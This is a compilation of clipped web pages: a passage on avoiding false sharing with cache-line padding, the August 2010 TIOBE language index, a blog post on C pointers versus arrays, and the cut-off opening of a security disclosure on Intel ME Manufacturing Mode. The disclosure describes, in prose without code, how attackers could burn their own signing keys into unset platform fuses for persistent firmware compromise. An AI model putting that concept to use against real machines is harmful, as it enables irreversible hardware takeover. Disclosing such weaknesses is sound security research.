  * objects that for some other reason accidentally end up close together in memory.

### What To Do

When two frequently-used objects are sources of false sharing because they're
in the same far-too-popular cache line, there are two general ways to remove
the false sharing.

First, we can reduce the number of writes to the cache line. For example,
writer threads can write intermediate results to a scratch variable most of
the time, then update the variable in the popular cache line only occasionally
as needed. This is the approach we took in Example 2, where we changed the
code to update a local variable frequently and write into the popular result
array only once per worker to store its final count.

Second, we can separate the variables so that they aren't on the same cache
line. Typically the easiest way to do this is to ensure an object has a cache
line to itself that it doesn't share with any other data. To achieve that, you
need to do two things:

  * Ensure that no other object can precede your data in the same cache line by aligning it o begin at the start of the cache line or adding sufficient padding bytes before the object.
  * Ensure that no other object can follow your data in the same cache line by adding sufficient padding bytes after the object to fill up the line.

Here's how you can write this as a reusable library component in C++:

[code]

    // C++ (using C++0x alignment syntax)
    template<typename T>
    struct cache_line_storage {
       [[ align(CACHE_LINE_SIZE) ]] T data;
       char pad[ CACHE_LINE_SIZE > sizeof(T)
            ? CACHE_LINE_SIZE - sizeof(T)
            : 1 ];
    };
    
    
    
[/code]

To get an object of type **MyType** that is stored on its own cache line, we
would write **cache\_line\_storage <MyType>**. Note that this code assumes
you've defined CACHE\_LINE\_SIZE to a suitable value for your target
processor, commonly a power of two from 16 to 512. It also uses the
standardized C++0x alignment syntax; if you don't have that yet, you can use a
compiler-specific extension like Gnu's **\_\_attribute\_\_\(\( aligned\(x\)
\)\)** or Microsoft's **\_\_declspec\( align\(x\) \)**.

If you're on .NET, you can write something similar but for value types only,
which in their unboxed form are always laid out "inline" rather than as a
separate heap object:

[code]

    // C#: Note works for value types only
    //
    [StructLayout(LayoutKind.Explicit, Size=2*CACHE_LINE_SIZE)]
    public struct CacheLineStorage<T>
       where T : struct
    {
       [FieldOffset(CACHE_LINE_SIZE)] public T data;
    }
    
    
    
[/code]

It may seem strange that this code actually allocates enough space for two
cache lines' worth of data instead of just one. That's because, on .NET, you
can't specify the alignment of data beyond some inherent 4-byte and 8-byte
alignment guarantees, which aren't big enough for our purposes. Even if you
could specify a starting alignment, the compacting garbage collector is likely
to move your object and thus change its alignment dynamically. Without
alignment to guarantee the starting address of the data, the only way to deal
with this is to allocate enough space both before and after data to ensure
that no other objects can share the cache line.

For Java and .NET full-fledged objects \(reference types\), the solution is
basically the same as for .NET value types, but more intrusive: You need to
add the before-and-after padding internally inside the object itself because
there is no portable way to add external padding directly adjacent to an
object.

Applying this second approach to Example 1, we could change just the
definition of the result array to space the array elements far enough apart.
For example:

[code]

    // Example 3: Simple parallel version (de-flawed using padding)
    //
    cache_line_storage<int> result[P];
    // etc. as before, just replacing result[p] with result[p].data 
    
    
    
[/code]

Running performance tests confirms that this results in the same scalability
curve as Example 2.

### Finally, Don't Forget This Affects Readers, Too

In Example 1 we've been considering the case where all workers are writers,
but readers are affected too. Consider the following variant of Example 1
where we arbitrarily force half the workers to only perform reads from their
**result\[p\]** , and measure the program's execution to see what happens:

[code]

    // Example 3: Simple parallel version with half the accesses as
    // reads (still flawed)
    //
    int result[P];
    // Each of P parallel workers processes 1/P-th of the data;
    // the p-th worker records its partial count in result[p]
    for( int p = 0; p < P; ++p )
      pool.run( [&,p] {
        int local = 0;
        result[p] = 0;
        int chunkSize = DIM/P + 1;
        int myStart = p * chunkSize;
        int myEnd = min( myStart+chunkSize, DIM );
        for( int i = myStart; i < myEnd; ++i )
          for( int j = 0; j < DIM; ++j )
            if( matrix[i*DIM + j] % 2 != 0 )
              if( p % 2 != 0 ) // abitrarily have every second
                               // worker
                local += result[p]; // only read from its
                                    // unshared result[p]
           else
             ++result[p];
      } );
    //  etc. as before 
    
    
    
[/code]

How's the performance? To paraphrase Family Feud, in Figure 6 our "survey
saaaays"

Alas, Example 3 is roughly just as bad as Example 1, and with more erratic
performance behavior to boot. Even with half the workers performing only reads
of their **result\[p\]** , even at  _P_ = 23 we get about the same performance
as when  _P_ = 1.

<img src='img/Temp2_3502.gif' />

**Figure 6:** Example 3, with half the threads doing reads, is just as awful
as Example 1.

Figure 7 shows the CPU monitor screen shots for  _P_ = 1 and  _P_ = 23, and
confirms that for  _P_ = 23 we're lighting up 23 cores without any useful
effect on total execution time.

<img src='img/Temp2_3505.gif' />

**Figure 7:** Running Example 3 with P = 1 and P = 23 \(ouch, approximately
equal execution time to perform the same work, as we saw in Figure 6\).

Finally, Figure 8 summarizes the relative scalability of Examples 1 to 3 side
by side, where ideal linear scalability would be a horizontalline at scaling =
1. As we've already seen, Example 2 scales perfectly while Examples 1 and 3
don't scale at all -- and for no other reason than false sharing, even though
in Example 3 half the workers are merely performing reads.

<img src='img/Temp2_3507.gif' />

**Figure 8:** Examples 1 to 3 side by side \(1 = perfect scaling\).

### Summary

Watch out for false sharing; it's an invisible scalability buster. The general
case to watch out for is when you have two objects or fields that are
frequently accessed \(either read or written\) by different threads, at least
one of the threads is doing writes, and the objects are so close in memory
that they're on the same cache line.

Detecting the problem isn't always easy. Typical CPU monitors completely mask
memory waiting by counting it as busy time, which doesn't help us here,
although the irregular lengths of the individual cores' busy times gives us a
clue. Look for code performance analysis tools that let you measure, for each
line of your source code, the cycles per instruction \(CPI\) and/or cache miss
rates those source statements actually experience at execution time, so that
you can find out which innocuous statements are taking extremely
disproportionate amounts of cycles to run and/or spending a lot of time
waiting for memory. You should never see high cache miss rates on a variable
being updated by one thread in a tight inner loop, because it should just be
loaded into cache once and then stay hot; lots of misses mean lots of
contention on that variable or on a nearby one.

Resolve false sharing by reducing the frequency of updates to the falsely
shared variables, such as by updating local data instead most of the time.
Alternatively, you can ensure a variable is completely unshared by by using
padding, and alignment if available, to ensure that no other data precedes or
follows a key object in the same cache line.

### Acknowledgments

Thanks to Joe Duffy and Tim Harris for their observations and comments on this
article.

### Notes

\[1\] H. Sutter. "Sharing Is the Root of All Contention" \(Dr. Dobb's Digest,
March 2009\). http://www.ddj.com/go-
parallel/article/showArticle.jhtml?articleID=214100002.

\[2\] H. Sutter. "Maximize Locality, Minimize Contention." \(Dr. Dobb's
Journal, 33\(6\), June 2008.\) http://www.ddj.com/architect/208200273.

\[3\] H. Sutter "Measuring Parallel Performance: Optimizing a Concurrent
Queue" \(Dr. Dobb's Journal, 34\(1\), January 2009\).
http://www.ddj.com/cpp/211800538.

\[4\] If you run this test yourself, you might instead see one core light up
for a while, then go dark and a different core light up for a while, and so
on. That's just an artifact of operating system thread scheduling, as the OS
moves the thread to a different core for its own reasons, for example to keep
heat distributed more evenly across the chip. The result is still logically
equivalent to that in Figure 2 because only one core is running at a time, and
the total execution time should not be materially affected by just occasional
migration to a different core.

# TIOBE Software: Tiobe Index

**Created:**| _9/10/2010 9:44:58 AM_  
---|---  
**Updated:**| _9/10/2010 9:44:58 AM_  
**Author:**| _wishi_  
**Tags:**| _C++ python Java C programming C\# php_  
  

  
<img src='img/rss_logo.gif' alt='rss' />

# TIOBE Programming Community Index for August 2010

# August Headline: Dinosaur Smalltalk falls off top 50

Smalltalk, the first pure object-oriented programming language ever, lost its
position in the TIOBE top 50 this month. The same happened to the other well-
known pure object-oriented language Eiffel a couple of months ago. This is
probably part of the trend that languages are becoming more and more
multiparadigm: both object-oriented and procedural with a functional flavor.

The TIOBE Programming Community index is an indicator of the popularity of
programming languages. The index is updated once a month. The ratings are
based on the number of skilled engineers world-wide, courses and third party
vendors. The popular search engines Google, MSN, Yahoo\!, Wikipedia and
YouTube are used to calculate the ratings. Observe that the TIOBE index is not
about the _best_ programming language or the language in which _most lines of
code_ have been written.

The index can be used to check whether your programming skills are still up to
date or to make a strategic decision about what programming language should be
adopted when starting to build a new software system. The definition of the
TIOBE index can be found here.

Position  
Aug 2010 | Position  
Aug 2009 | Delta in Position | Programming Language | Ratings  
Jul 2010 | Delta  
Jul 2009 | Status  
---|---|---|---|---|---|---  
1 | 1 | <img src='img/Same.gif' />| Java | 17.994% | -1.53% |   A  
2 | 2 | <img src='img/Same.gif' />| C | 17.866% | +0.65% |   A  
3 | 3 | <img src='img/Same.gif' />| C++ | 9.658% | -0.84% |   A  
4 | 4 | <img src='img/Same.gif' />| PHP | 9.180% | -0.21% |   A  
5 | 5 | <img src='img/Same.gif' />| \(Visual\) Basic | 5.413% | -3.07% |   A  
6 | 7 | <img src='img/Up.gif' />| C\# | 4.986% | +0.54% |   A  
7 | 6 | <img src='img/Down.gif' />| Python | 4.223% | -0.27% |   A  
8 | 8 | <img src='img/Same.gif' />| Perl | 3.427% | -0.60% |   A  
9 | 19 | <img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' />| Objective-C | 3.150% | +2.54% |   A  
10 | 11 | <img src='img/Up.gif' />| Delphi | 2.428% | +0.09% |   A  
11 | 9 | <img src='img/Down.gif' /><img src='img/Down.gif' />| JavaScript | 2.401% | -0.41% |   A  
12 | 10 | <img src='img/Down.gif' /><img src='img/Down.gif' />| Ruby | 1.979% | -0.51% |   A  
13 | 12 | <img src='img/Down.gif' />| PL/SQL | 0.757% | -0.23% |   A  
14 | 13 | <img src='img/Down.gif' />| SAS | 0.715% | -0.10% |   A  
15 | 20 | <img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' />| MATLAB | 0.627% | +0.07% |   B  
16 | 18 | <img src='img/Up.gif' /><img src='img/Up.gif' />| Lisp/Scheme/Clojure | 0.626% | 0.00% |   B  
17 | 16 | <img src='img/Down.gif' />| Pascal | 0.622% | -0.05% |   B  
18 | 15 | <img src='img/Down.gif' /><img src='img/Down.gif' /><img src='img/Down.gif' />| ABAP | 0.616% | -0.12% |   B  
19 | 14 | <img src='img/Down.gif' /><img src='img/Down.gif' /><img src='img/Down.gif' /><img src='img/Down.gif' /><img src='img/Down.gif' />| RPG \(OS/400\) | 0.606% | -0.15% |   B  
20 | - | <img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' /><img src='img/Up.gif' />| Go | 0.603% | 0.00% |   B  
  

## Long term trends

The long term trends for the top 10 programming languages can be found in the
line diagram below.

# <img src='img/tpci_trends.png' />

* * *
## Other programming languages

The complete top 50 of programming languages is listed below. This overview is
published unofficially, because it could be the case that we missed a
language. If you have the impression there is a programming language lacking,
please notify us at tpci@tiobe.com.

Position | Programming Language | Ratings  
---|---|---  
21 | PowerShell | 0.579%  
22 | Transact-SQL | 0.558%  
23 | Lua | 0.527%  
24 | D | 0.462%  
25 | FoxPro/xBase | 0.451%  
26 | ActionScript | 0.451%  
27 | S-lang | 0.414%  
28 | LabVIEW | 0.400%  
29 | Ada | 0.398%  
30 | Bourne shell | 0.395%  
31 | JavaFX Script | 0.390%  
32 | COBOL | 0.388%  
33 | NXT-G | 0.385%  
34 | Alice | 0.352%  
35 | Fortran | 0.351%  
36 | Haskell | 0.334%  
37 | Logo | 0.318%  
38 | Scratch | 0.316%  
39 | Forth | 0.270%  
40 | CL \(OS/400\) | 0.265%  
41 | Tcl/Tk | 0.261%  
42 | C shell | 0.255%  
43 | Prolog | 0.243%  
44 | Groovy | 0.234%  
45 | ML | 0.234%  
46 | cT | 0.233%  
47 | Caml/F\# | 0.229%  
48 | Scala | 0.220%  
49 | Erlang | 0.219%  
50 | VHDL | 0.218%  
  

* * *
## The Next 50 Programming Languages

The following list of languages denotes \#51 to \#100. Since the differences
are relatively small, the programming languages are only listed \(in
alphabetical order\).

  * ABC, Algol, APL, Applescript, Awk, Beta, cg, Clean, Cobra, Curl, Dylan, Eiffel, Euphoria, Factor, Focus, Fortress, Gambas, Icon, IDL, Informix-4GL, Io, J, J\#, LabWindows/CVI, Lingo, MAD, Maple, Mathematica, MAX/MSP, Modula-2, Modula-3, MS-DOS batch, Natural, Occam, OpenCL, Oz, PL/I, Postscript, Progress, Q, R, REALbasic, REXX, SIGNAL, Smalltalk, Smarty, Spark, SPSS, VBScript, XSLT

* * *
## Very Long Term History

To see the bigger picture, please find the positions of the top 10 programming
languages from 5, 15 and 25 years ago in the table below.  
  

Programming Language | Position  
Aug 2010 | Position  
Aug 2005 | Position  
Aug 1995 | Position  
Aug 1985  
---|---|---|---|---  
Java | 1 | 1 | - | -  
C | 2 | 2 | 3 | 1  
C++ | 3 | 3 | 2 | 11  
PHP | 4 | 5 | - | -  
\(Visual\) Basic | 5 | 6 | 1 | 4  
C\# | 6 | 7 | - | -  
Python | 7 | 8 | 24 | -  
Perl | 8 | 4 | 8 | -  
Objective-C | 9 | 43 | - | -  
Delphi | 10 | 10 | - | -  
Lisp/Scheme/Clojure | 16 | 14 | 6 | 2  
Ada | 29 | 17 | 7 | 3  
* * *
## Programming Language Hall of Fame

The hall of fame listing all "Programming Language of the Year" award winners
is shown below. The award is given to the programming language that has the
highest rise in ratings in a year.  
  

Year | Winner  
---|---  
2009 | Go  
2008 | C  
2007 | Python  
2006 | Ruby  
2005 | Java  
2004 | PHP  
2003 | C++  
* * *
## Categories of Programming Languages

In the tables below some long term trends are listed about categories of
languages. Object-oriented statically typed languages are most popular now for
more than 4 years.  
  
Category | Ratings Aug 2010 | Delta Aug 2009  
---|---|---  
Object-Oriented Languages | 54.9% | +0.6%  
Procedural Languages | 40.5% | -1.0%  
Functional Languages | 3.1% | +0.2%  
Logical Languages | 1.5% | +0.2%  
  
  
Category | Ratings Aug 2010 | Delta Aug 2009  
---|---|---  
Statically Typed Languages | 62.2% | +2.5%  
Dynamically Typed Languages | 37.8% | -2.5%  
# <img src='img/history_paradigm_type%20system.png' />

  

* * *
## This Month's Changes in the Index

This month the following changes have been made to the definition of the
index:

  * Juliano Reis suggested to add the programming language Clipper to the index. This month Clipper is at position 108.
  * There are still lots of mails that need to be processed \(especially after having been slashdotted once more recently\). As soon as there is more time available your mail will be answered. Please be patient.

* * *
## Bugs & Change Requests

This is the top 3 of most requested changes and bugs. If you have any
suggestions how to improve the index don't hesitate to send an e-mail to
tpci@tiobe.com.

  1. Add queries for other natural languages \(apart from English\). The idea is to start with the Chinese search engine Baidu.
  2. Apart from "<language> programming", also other queries such as "programming with <language>" and "<language> coding" should be tried out.
  3. There is a bug in the calculation of the max of all entries in a language group.

* * *
## Frequently Asked Questions

  * _Q: What definition of programming languages has been used?_  
  

A: A language is considered a programming language if it is Turing complete.
As a consequence, HTML and XML are not considered programming languages. This
also holds for data query language SQL. SQL is not a programming language
because it is, for instance, impossible to write an infinite loop in it. On
the other hand, SQL extensions PL/SQL and Transact-SQL are programming
languages. ASP and ASP.NET are also not programming languages because they
make use of other languages such as JavaScript and VBScript or .NET compatible
languages. The same is true for frameworks such as Ruby on Rails, ColdFusion,
Cocoa, and technologies such as AJAX. Finally, we have also excluded assembly
languages, although Turing complete, because they have a very different
nature.

  * _Q: How are dialects of languages grouped?_
A: Some languages are grouped together because they are very similar to each
other. An example is the language entry Basic which covers Visual Basic,
QBasic, Microsoft Basic, etc. VB.NET has been added as well to the Visual
Basic entry because it is often referred to as Visual Basic. The ratings for a
collection of languages is calculated by taking the maximum of all individual
entries \(not its sum\!\).

  * _Q: Why is the maximum taken to calculate the ranking for a grouping, why not the sum?_
A: Well, you can do it either way and both are wrong. If you take the sum,
then you get the intersection twice \(pages that mention for instance both
Visual Basic 6.0 and VB.NET\). If you take the max, then you miss the
difference. Which one to choose? Suppose somebody comes up with a new search
term that is 10% of the original. If you take the max, nothing changes. If you
take the sum then the ratings will rise 10%. So taking the sum will be an
incentive for some to come up with all kinds of obscure terms for a language.
That's why we decided to take the max.

The proper way to solve this is is of course to take the sum and subtract the
intersection. This will give rise to an explosion of extra queries that must
be performed. Suppose a language has a grouping of 15 terms \(such as the
xBase/FoxPro grouping\), then you have to perform 32,768 queries \(all
combinations of intersections\). So this seems not possible either... If
somebody has a solution for this, please let us know.

  * _Q: Am I allowed to show the TIOBE index in my weblog/presentation/publication?_
A: This is OK provided that you refer to its original source: www.tiobe.com.

  * _Q: I would like to have the complete data set of the TIOBE index. Is this possible?_
A: We spent a lot of effort to obtain all the data and keep the TIOBE index up
to date. In order to compensate a bit for this, we ask a fee of 1,500 US$ for
the complete data set. This might seem a lot of money but it is considered
strategic data. The data set runs from June 2001 till today. It started with
25 languages back in 2001, and now measures more than 150 languages at least
10 times per month. The data are availabe in comma separated format. Part of
the deal is that new data will be send to you for 1 extra year. Please contact
sales@tiobe.com for more information.

  * _Q: What happened to Java in April 2004? Did you change your methodology?_
A: No, we did not change our methodology at that time. Google changed its
methodology. They performed a general sweep action to get rid of all kinds of
web sites that had been pushed up. As a consequence, there was a huge drop for
languages such as Java and C++. In order to minimize such fluctuations in the
future, we added two more search engines \(MSN and Yahoo\) a few months after
this incident.

  * _Q: Why is YouTube used as a search engine for the TIOBE index?_
A: First of all, YouTube counts only for 7% of all ratings, so it has hardly
any influence on the index. YouTube has been added as an experiment. It
qualified for the TIOBE index because of its high ranking on Alexa. YouTube is
a young platform \(so an indicator for popularity\) and there are quite some
lectures, presentations, programming tips and language introductions available
on YouTube.

# Eli Bendersky's website » Blog Archive » Are pointers and arrays equivalent
in C?

**Created:**| _9/8/2011 11:48:50 PM_  
---|---  
**Updated:**| _9/8/2011 11:48:50 PM_  
**Author:**| __  
**Tags:**| _C++ C programming pointers_  
  

## Are pointers and arrays equivalent in C?

October 21st, 2009 at 8:22 pm

Short answer: **no**

Longer answer: it depends on what you mean by "equivalent". Pointer arithmetic
and array indexing are equivalent. In other aspects, pointers and arrays are
different.

Here’s an example displaying the equivalence:

[code]

    #include <stdio.h>
    
    int main()
    {
        char arr[] = "don't panic\n";
        char* ptr = arr;
    
        printf("%c %c\n", arr[4], ptr[4]);
        printf("%c %c\n", *(arr+2), *(ptr+2));
    
        return 0;
    }
    
[/code]

The output is, of course:

[code]

    t t
    n n
    
[/code]

Note that indexing works on both arrays and pointers. Similarly, pointer
arithmetic works on both arrays and pointers.

### So how are they different?

In a very important and fundamental way. Consider this code snippet:

[code]

    char array_place[100] = "don't panic";
    char* ptr_place = "don't panic";
    
    int main()
    {
        char a = array_place[7];
        char b = ptr_place[7];
    
        return 0;
    }
    
[/code]

What exactly happens in the assignment to `a`, and how is it different from
the assignment to `b`? It’s informative to take a look at the disassembly
\(taken from Visual C++ 2005 on an x86 machine running Windows XP\):

[code]

        char a = array_place[7];
    
    0041137E  mov  al,byte ptr [_array_place+7 (417007h)]
    00411383  mov  byte ptr [a],al
    
        char b = ptr_place[7];
    
    00411386  mov  eax,dword ptr [_ptr_place (417064h)]
    0041138B  mov  cl,byte ptr [eax+7]
    0041138E  mov  byte ptr [b],cl
    
[/code]

The semantics of arrays in C dictate that the array name is the address of the
first element of the array. Hence in the assignment to `a`, the 8th character
of the array is taken by offsetting the value of `array_place` by 7, and
moving the contents pointed to by the resulting address into the `al`
register, and later into `a`.

On the other hand, the semantics of pointers are quite different. A pointer is
just a regular variable that happens to hold the address of another variable
inside. Therefore, to actually compute the offset of the 8th character of the
string, the CPU will first copy the value of the pointer into a register and
only then increment it. This takes another instruction \[1\].

### A graphical explanation

This is a graphical explanation:

<img src='img/Temp2_2555.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2009/10/array_place.png' />

The rightmost column is the memory addresses, and the boxes are the contents
of memory cells. The first few letters of the string in `array_place` are
displayed.

Note that `array_place` is simply a label \(or an alias\) to the memory
address 0×417000. Therefore accessing `array_place[7]` is simply accessing
memory address 0×417007. Therefore, as we can see in the disassembly, the
compiler just replaces `array_place[7]` by 0×417007 – no address computation
has to be done by the assembly it generates.

With a pointer, this works differently:

<img src='img/Temp2_2554.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2009/10/ptr_place.png' />

`ptr_place` is just a variable that contains an address inside \[2\]. This is
the address to the first byte of the string that sits in another memory
location. Compare this to the disassembly listing of the access to
`pointer_place[7]` – it becomes clear why the compiler generates that code.

### Variable names in C are just labels

This point is frequently ignored by programmers who don’t actually hack on
compilers. A variable in C is just a convenient, alphanumeric pseudonym of a
memory location. Were we writing assembly code, we would just create a label
in some memory location and then access this label instead of always hard-
coding the memory value – and this is what the compiler does.

Well, actually the address is not hard-coded in an absolute way because of
loading and relocation issues, but for the sake of this discussion we don’t
have to get into these details.

A label is something the compiler assigns _at compile time_. From here the
great difference between arrays and pointers in C stems. And this is also why…

### Arrays passed to functions are converted to pointers

Here’s a snippet:

[code]

    void foo(char arr_arg[], char* ptr_arg)
    {
        char a = arr_arg[7];
        char b = ptr_arg[7];
    }
    
[/code]

Quiz: how are the accesses to `a` and `b` different here?

Answer: they’re not\!

[code]

        char a = arr_arg[7];
    
    00412DCE  mov  eax,dword ptr [arr_arg]
    00412DD1  mov  cl,byte ptr [eax+7]
    00412DD4  mov  byte ptr [a],cl
    
        char b = ptr_arg[7];
    
    00412DD7  mov  eax,dword ptr [ptr_arg]
    00412DDA  mov  cl,byte ptr [eax+7]
    00412DDD  mov  byte ptr [b],cl
    
[/code]

This happens because arrays passed into functions are always converted into
pointers. The argument declaration `char arr_place[]` is just syntactic sugar
for `char* arr_place` \[3\].

Here’s a quote from K&R2:

> When an array name is passed to a function, what is passed is the location
> of the initial element. Within the called function, this argument is a local
> variable, and so an array name parameter is a pointer, that is, a variable
> containing an address.
If this seems strange, think again. Recall the diagrams of the previous
section. The C compiler has no choice here, since an array name is a label it
replaces _at compile time_ with the address it represents. But a function
isn’t called at compile time, it’s called _at run time_ , where something
should be placed on the stack to be considered as an argument. The compiler
can’t just treat array references inside a function as labels and replace them
with addresses, because it has no idea what actual array will be passed in at
run time.

This last point may be a bit convoluted, but it’s not critical to the
understanding of the article. You can just take it as a fact: arrays passed to
functions are converted to pointers, end of story\!

### Does the difference affect me?

Yes.

One way is that arrays just can’t be manipulated the way pointers can. Here’s
a quote from _Expert C Programming_ :

> There is one difference between an array name and a pointer that must be
> kept in mind. A pointer is a variable, so pa=a and pa++ are legal. But an
> array name is not a variable; constructions like a=pa and a++ are illegal.
Here’s an example:

[code]

    #include <stdio.h>
    
    int main()
    {
        int i;
        char array[] = "don't panic";
        char* ptr = array;
    
        /* array traversal */
        for (i = 0; i < sizeof(array); ++i)
            printf("%c ", array[i]);
    
        printf("\n");
    
        /* pointer traversal */
        for (; *ptr; ++ptr)
            printf("%c ", *ptr);
    
        return 0;
    }
    
[/code]

Note how an array has to be indexed with another variable. A pointer, on the
contrary, is just a variable that can be manipulated freely.

Another, more important, difference is actually a common C gotcha:

Suppose one file contains a global array:

[code]

    char my_arr[256];
    
[/code]

And soothed by the seeming equivalence between arrays and pointers, the
programmer that wants to use it in another file mistakingly declares as:

[code]

    extern char* my_arr;
    
[/code]

When he tries to access some element of the array using this pointer, he will
most likely get a segmentation fault or a fatal exception \(the nomenclature
depends on the OS\). Understanding why this happens is left as an exercise to
the reader \[4\].

### References

The following sources were helpful in the preparation of this article:

  * K&R2 – chapter 5
  *  _Expert C Programming_ , by Van der Linden – chapters 4, 9 and 10
  * The C FAQ, questions 6.1, 6.2, 6.3, 6.4, 6.10

<img src='img/Temp2_2553.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| That’s just because we’re on x86, by the way. On a CPU with a richer
set of addressing modes \(like PDP-11\), it could have been done in a single
instruction.  
---|---  
\[2\]| Note that I drew a multi-byte memory cell for `ptr_place`. On my x86
32-bit machine, it actually takes 4 bytes with the least significant byte of
the value in the lower address.  
---|---  
\[3\]| By the way, so is `char arr_place[100]`. The size makes no difference
to the C compiler – it’s still converted to a pointer.  
---|---  
\[4\]| Hint: look at the first assembly listing in this article. How will the
element be accessed via the pointer? What’s going to happen if it’s not
actually a pointer but an array?  
---|---

# buffer/pylibemu - GitHub

**Created:**| _6/21/2011 8:13:07 AM_  
---|---  
**Updated:**| _6/21/2011 8:13:19 AM_  
**Author:**| __  
**Tags:**| _bookmark Tainting_  
  
A Libemu Cython wrapper

# Intel ME Manufacturing Mode: obscured dangers and their relationship to
Apple MacBook vulnerability CVE-2018-4251

**Created:**| _10/3/2018 9:58:04 PM_  
---|---  
**Updated:**| _10/3/2018 9:58:04 PM_  
**Author:**| __  
**Tags:**| __  
  

###  Intel ME Manufacturing Mode: obscured dangers and their relationship to
Apple MacBook vulnerability CVE-2018-4251

<img src='img/5783_Untitled.png' width='640' height='530' />

  
The weakness of "security through obscurity" is so well known as to be
obvious. Yet major hardware manufacturers, citing the need to protect
intellectual property, often require a non-disclosure agreement \(NDA\) before
allowing access to technical documentation. The situation has become even more
difficult with the growing intricacy of chip designs and integration of
proprietary firmware. Such obstacles make it nearly impossible for independent
researchers to analyze the security of these platforms. As a result, both
ordinary users and hardware manufacturers lose out.  
  
One example is Intel Management Engine \(Intel ME\), including its server
\(Intel SPS\) and mobile \(Intel TXE\) versions \(for background on Intel ME,
we recommend consulting \[5\] and \[6\]\). In this article, we will describe
how undocumented commands \(although "undocumented" applies to practically
everything about Intel ME\) enable overwriting SPI flash memory and
implementing the doomsday scenario: local exploitation of an ME vulnerability
\(INTEL-SA-00086\). At the root of this problem is an undocumented Intel ME
mode, specifically, Manufacturing Mode.  
  

##  What is Manufacturing Mode?

Intel ME Manufacturing Mode is intended for configuration and testing of the
end platform during manufacturing, and as such should be disabled \(closed\)
before sale and shipment to users. However, this mode and its potential risks
are not described anywhere in Intel's public documentation. Ordinary users do
not have the ability to disable this mode, since the relevant utility \(part
of Intel ME System Tools\) is not officially available. As a result, there is
no software that can protect, or even notify, the user if this mode is enabled
for whatever reason. Even Chipsec \[2\], a utility specially designed to
identify configuration errors in the chipset and CPU at the level of UEFI
firmware \(such as incorrect configuration of access rights for SPI flash
regions\), does not know anything about Intel Manufacturing Mode.  
  
This mode allows configuring critical platform settings stored in one-time-
programmable memory \(FUSEs\). These settings include those for BootGuard
\(the mode, policy, and hash for the digital signing key for the ACM and UEFI
modules\). Some of them are referred to as FPFs \(Field Programmable Fuses\).
For a list of FPFs that can be written to FUSEs \(a list that is incomplete,
since a number of FPFs cannot be set directly\), you can use the FPT \(Flash
Programming Tool\) utility from Intel ME System Tools.  
  
<img src='img/me_1.png' width='640' height='340' />  
---  
Figure 1. Output of the -FPFs option in FPT  
FPFs account for only a part of the FUSE array: instead, most are used by
Intel to store platform parameters. Part of this space is called IP FUSEs,
used to store the settings of IP \(Intelligent Property, hardware logic
blocks\) units. Thus, the DFx Aggregator special device stores in FUSEs a sign
of whether the platform is for testing or mass production.  
  
In addition to FPFs, in Manufacturing Mode the hardware manufacturer can
specify settings for Intel ME, which are stored in the Intel ME internal file
system \(MFS\) on SPI flash memory. These parameters can be changed by
reprogramming the SPI flash. The parameters are known as CVARs \(Configurable
NVARs, Named Variables\).  
  
Setting CVARs is the responsibility of the Intel ME module named mca\_server.
MCA is short for "Manufacture-Line Configuration Architecture," which is the
general name for the process of configuring the platform during manufacturing.
CVARs, just like FPFs, can be set and read via FPT.  
  
<img src='img/me2.png' width='640' height='340' />  
---  
Figure 2. List of CVARs output by FPT for the Broxton P platform  
The list of CVARs depends on the platform and version of Intel ME. For
chipsets supporting Intel AMT, one of the CVARs is the password for entering
MEBx \(ME BIOS Extension\).  
  
Setting FPFs, or almost any CVARs, requires that Intel ME be in Manufacturing
Mode. The process of assigning FPFs consists of two steps: setting the values
for FPFs \(which are saved to temporary memory\) and committing the FPF values
to the FUSEs. The first step is possible only in Manufacturing Mode, but the
actual "burn" occurs automatically after Manufacturing Mode is closed if,
while in that mode, the manufacturer set FPF values and the corresponding
range in the FUSE array has never been written to before. **So, if a system is
in Manufacturing Mode, the FPFs have likely never been initialized**.  
  
A sign of Manufacturing Mode having been closed is stored in the file
/home/mca/eom on MFS. When the SPI flash is overwritten by firmware with the
basic file system \(just after build by FIT \[9\]\), the platform can once
again function in Manufacturing Mode, although overwriting FUSEs is no longer
possible.  
  

##  OEM public key

Accordingly, the procedure for configuring Intel platforms is rather
complicated and consists of multiple steps. Any error or deviation from this
procedure by hardware manufacturers places the platform at serious risk. Even
if Manufacturing Mode has been closed, a manufacturer may not have set FPFs,
which allows attackers to do so themselves by writing their own values for
example instead of the key for signing the start code of the BootGuard \(AСM\)
and UEFI modules. In this case, the platform would load only with the
attacker's malicious code—and persistently so. This would lead to irreversible
hardware compromise, since the attacker's key is written to permanent memory,
from which it can never be removed \(for details of this attack, see
"Safeguarding rootkits: Intel BootGuard" by Alexander Ermolov \[8\]\).  
  
On newer systems \(Apollo Lake, Gemini Lake, Cannon Point\) FPFs store not
just the key for BootGuard, but the OEM's public key \(strictly speaking, the
SHA256 hash for the RSA OEM public key\), which underpins several ME security
mechanisms. For example, the special section of SPI flash named Signed Master
Image Profile \(SMIP\) stores manufacturer-specified PCH Straps \(PCH hardware
configuration\). This section is signed using a key whose SHA256 hash is
stored in a special file \(partition\) on SPI flash. This file name is oem.key
in the FTPR partition \(OEMP.man in OEMP partition for Cannon Point PCH\) and
contains various OEM-provided public keys for signing all sorts of data. In
the following figure, you can see a full list of the sets of data signed by
the manufacturer, each with a unique key, for the Cannon Point platform:  
  
<img src='img/me3.png' width='640' height='200' />  
---  
Figure 3. List of OEM-signed data for the CNP platform  
The oem.key file itself is signed with an OEM root key, whose public key’s
hash should be written in the FPFs.  
  
<img src='img/me5.png' width='640' height='376' />  
---  
Figure 4. OEM signing  
Therefore, having compromised the OEM root key, an attacker can compromise all
previously mentioned data, which is much worse than the Boot Guard–only
takeover possible on older platforms.  
  

##  Bypassing block on writing to the ME region

Until recently \(prior to Intel Apollo Lake\), Intel ME was located in a
separate SPI region that had independent access rights for the CPU, GBE, and
ME. So as long as access attributes were correctly configured, it was
